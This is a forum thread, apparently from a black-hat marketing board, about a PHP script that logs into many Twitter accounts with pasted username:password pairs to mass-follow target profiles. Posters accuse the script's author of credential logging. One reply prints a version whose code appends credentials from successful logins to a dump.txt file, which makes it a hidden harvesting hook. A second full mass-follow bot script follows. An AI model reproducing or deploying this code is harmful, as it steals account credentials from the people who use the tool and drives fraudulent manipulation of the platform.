[GET] Twitter mass follow script

I tried using this. Didn't work also, I use the instructions you gave.
 
if the script showed worked , then it will add followers obviously , try to open your account in another browser and see followers , or clear your first browser , and let me know
 
Nothing mate, cleared cache even tried in firefox.

Thanks anyway was worth a try.
 
Nothing mate, cleared cache even tried in firefox.

Thanks anyway was worth a try.

i have checked the script again mate , its working 100% , make sure you are adding accounts this way-

-username : password (without spaces)
-@usernames-(your target profile)
 
Maybe I am wrong, but this is a modified script that is already shared here on BHW.
Personally, I would never post nothing with usernames and passwords on server not owned by me.
 
If the TWA is still the case, no one seems concerned about this script.
 
Maybe I am wrong, but this is a modified script that is already shared here on BHW.
Personally, I would never post nothing with usernames and passwords on server not owned by me.

whats wrong with servers ? this is my first script i made and i was very happy so i shared here on BHW also many people requested for mas follow script , and yes i modified it and added 2 more username options , but m not hacking master , even the MOD around here can see my script and they can check whether it is safe script or not :)
 
Last edited:
I didn't thought that host or server is a problem, what I wanted to say is - what is not under my control can be problem. I don't believe until I see the source, whoever is sending username : password there just like that is looking for trouble and deserve to be hacked/spammed/with stolen accounts.
It is very easy to add hidden function/request to follow one more account (of person who host the code, for example) or to redirect / print all POST requests to flat text file or mysql database, or even fetch that file with cURL or get_contents from another server.
 
Last edited:
I didn't thought that host or server is a problem, what I wanted to say is - what is not under my control can be problem. I don't believe until I see the source, whoever is sending username : password there just like that is looking for trouble and deserve to be hacked/spammed/with stolen accounts.
It is very easy to add hidden function/request to follow one more account (of person who host the code, for example) or to redirect / print all POST requests to flat text file or mysql database, or even fetch that file with cURL or get_contents from another server.

then dont use it mate :) , i told you that i am ready to share script with MODS , they can test my script to there server and see whether its safe or not .
 
Friends Don't Use this . He had kept logger in that . If you will use this PHP then he will stole your user name and Password.

If you have host or Server PM me i will Give you php coding for free that you can use from your own server.
Thank regard
 
then dont use it mate :) , i told you that i am ready to share script with MODS , they can test my script to there server and see whether its safe or not .

Of course I will not use it.
1. You announced how you coded this, but script is coded long time ago by another person. Copy/pasting 2 additional fields for twitter usernames doesn't make script so special, apparently only you see results.
2. Anybody who use common sense will use script on own server. Just because somebody have mod status doesn't mean that know how to read the code.
3. What you give to mod to check and what is on your server can be different, even if somebody check it directly on server you can change file later with another one.
 
lol i can show my hostgator account , you cant just blame on my coding and blame me that i might have hacked script , its not a copy pasting thing to create 2 additional field for username :P ..
 
Here is the original script by perfis,

Code:
<?php     set_time_limit(false);
    error_reporting(false);    
?>
<html>
<title>MassFollow</title>
<head>
    <style type="text/css">
        #btn
            {
                background: transparent;
                border: solid thin;
                -moz-border-radius: 3px;
                -webkit-border-radius: 3px;
                border-radius: 3px;
                font-family: Verdana;
                width: 300px;
            }
        #follow
            {
                background: transparent;
                border: solid thin;
                -moz-border-radius: 3px;
                -webkit-border-radius: 3px;
                border-radius: 3px;
                font-family: Verdana;
            }
        textarea
            {
                width: 400px;
                height: 320px;
            }
        .work
            {
                font-weight: bold;
                color: green;
            }
        .notwork
            {
                font-weight: bold;
                color: red;
            }
        a
            {
                color: #000000;
                font-weight: bold;
            }
    </style>
    <script type="text/javascript">
        function countFakes()
            {
                document.getElementById("count").innerHTML = 
                    document.getElementById("perfis").value.split("\n").length;
            }
    </script>
</head>
<center>
<form method="POST" action="">
<textarea name="perfis" id="perfis" onkeydown="countFakes()" onchange="countFakes()"></textarea><br />
<font id="count" style="font-weight: bold;">0</font> profiles.<br /><br />
<font face="Verdana">user name:</font><br />
@ <input type="text" name="follow" id="follow" value="" /><br /><br />
@ <input type="text" name="follow" id="follow" value="" /><br /><br />
@ <input type="text" name="follow" id="follow" value="" /><br /><br />
<input type="submit" value="Follow!" id="btn">
</form>
<?php
if (isset($_POST["perfis"]))
    {
        $logins = explode("\n", $_POST["perfis"]);
        $follow = $_POST["follow"];
        $contar = count($logins);
        for($i = 0; $i <= $contar; $i++) 
            {
    //$logins[$i] = preg_replace("/^\d+\:/i", "", $logins[$i]);
if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i])))
{
continue;
}
                $data = explode(":", $logins[$i]);
                if ($data[0][0] == "@")
                    $data[0] = str_replace("@", "", $data[0]);
                $ch = curl_init();
                curl_setopt_array($ch,
                     array(
                        CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
                    CURLOPT_RETURNTRANSFER => 1,
                        CURLOPT_SSL_VERIFYPEER => 0,
                        CURLOPT_COOKIE => null,
                        CURLOPT_HEADER => true,
                        CURLOPT_NOBODY => false,
                        CURLOPT_POSTFIELDS => "&follow=true",
                    CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
                     )
                  );
                $ret = curl_exec($ch);
                curl_setopt($ch, CURLOPT_URL, "");
                curl_exec($ch);
                if (preg_match("/Unauthorized/i", $ret)) {
                    
}
                else {


$conteudo    =    "".$nomecerto.":".$senha."\r\n";
    $arquivo    =    "dump.txt";
    if (!$abrir = fopen($arquivo, "a")) {
         echo  "Erro abrindo arquivo ($arquivo)";
         exit;
    }
    
    if (!fwrite($abrir, $conteudo)) {
        print "Erro ao cadastrar ($email1)";
        exit;
    }
    
    fclose($abrir);
                echo "".$data[0].":".$data[1]."<br>";
}
                flush();
                ob_flush();
            }
    }
?>READY
 
Last edited:
i tested the above script
•doesn't work
•creates a dump.txt file but only " : " lines

@webwhiz perfis (pt) = profile

The following code stopped to work on byethosts, outputs always success; but works on the inclded german hosts

Code:
<html>
<head>
<title>http://1mm.de/fs -_- sex.lima-city.de/- </title>
<script type="text/javascript">
function countFakes() {document.getElementById("count").innerHTML = document.getElementById("perfis").value.split("\n").length;}
</script>
</head>
<body>
<center>
<h1>Mass Follow</h1>
insert <b>Twitter_Username:password</b> or <b>Registered_Email:password</b> -_- one pair per line
<form method="POST" action="">
<textarea name="perfis" id="perfis" onKeyDown="countFakes()" onChange="countFakes()"rows="8" cols="45"></textarea><br />
<font id="count" style="font-weight: bold;">0</font> Twitter Accounts Inserted.<br /><br />
<input type="submit" value="Start Following" id="btn"> <font face="Verdana">the username</font>
@<input type="text" name="follow" id="follow" value=""/>
</form>
</body>
</html>

    <?php
        set_time_limit(false);
        error_reporting(false);    
        if (isset($_POST["perfis"])) {
      $logins = explode("\n", $_POST["perfis"]);
      $follow = $_POST["follow"];
      $contar = count($logins);
      for($i = 0; $i <= $contar; $i++) {
        if (!(preg_match("/[a-zA-Z0-9]+/i", $logins[$i]))) {
        continue;
        }
        $data = explode(":", $logins[$i]);
        if ($data[0][0] == "@")
        $data[0] = str_replace("@", "", $data[0]);
        $ch = curl_init();
        curl_setopt_array($ch,
        array(
        CURLOPT_URL => "http://api.twitter.com/1/friendships/create/{$follow}.xml",
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_SSL_VERIFYPEER => 0,
        CURLOPT_COOKIE => null,
        CURLOPT_HEADER => true,
        CURLOPT_NOBODY => false,
        CURLOPT_POSTFIELDS => "&follow=true",
        CURLOPT_USERPWD => trim($data[0]) . ":" . trim($data[1])
        )
        );

      $ret = curl_exec($ch);
      if (preg_match("/Unauthorized/i", $ret)) {
        print "<b><font style='color: red;'>".$data[0]." - Error</font></b><br />";
        flush();
        ob_flush();
        sleep(1);
      } else {
        print "<b><font style='color: green;'>".$data[0]." - Success</font></b><br />";
        //include("../loop.php");include("config.php");
        flush();
        ob_flush();
        sleep(1);
      }
        }
    }

    ?>
 
Last edited:
it works fine, i use it daily must be your host doesnt support php5+

it creates ":" in dump file because thats how i set it, however if u use OP's one with not knowing his source code his dump.txt cud contain your usernames:passwords thus getting anyones credentials who uses it, be carefull!

﴾͡๏̯͡๏﴿.tk;4921076 said:
i tested the above script
•doesn't work
•creates a dump.txt file but only " : " lines
 
Back
Top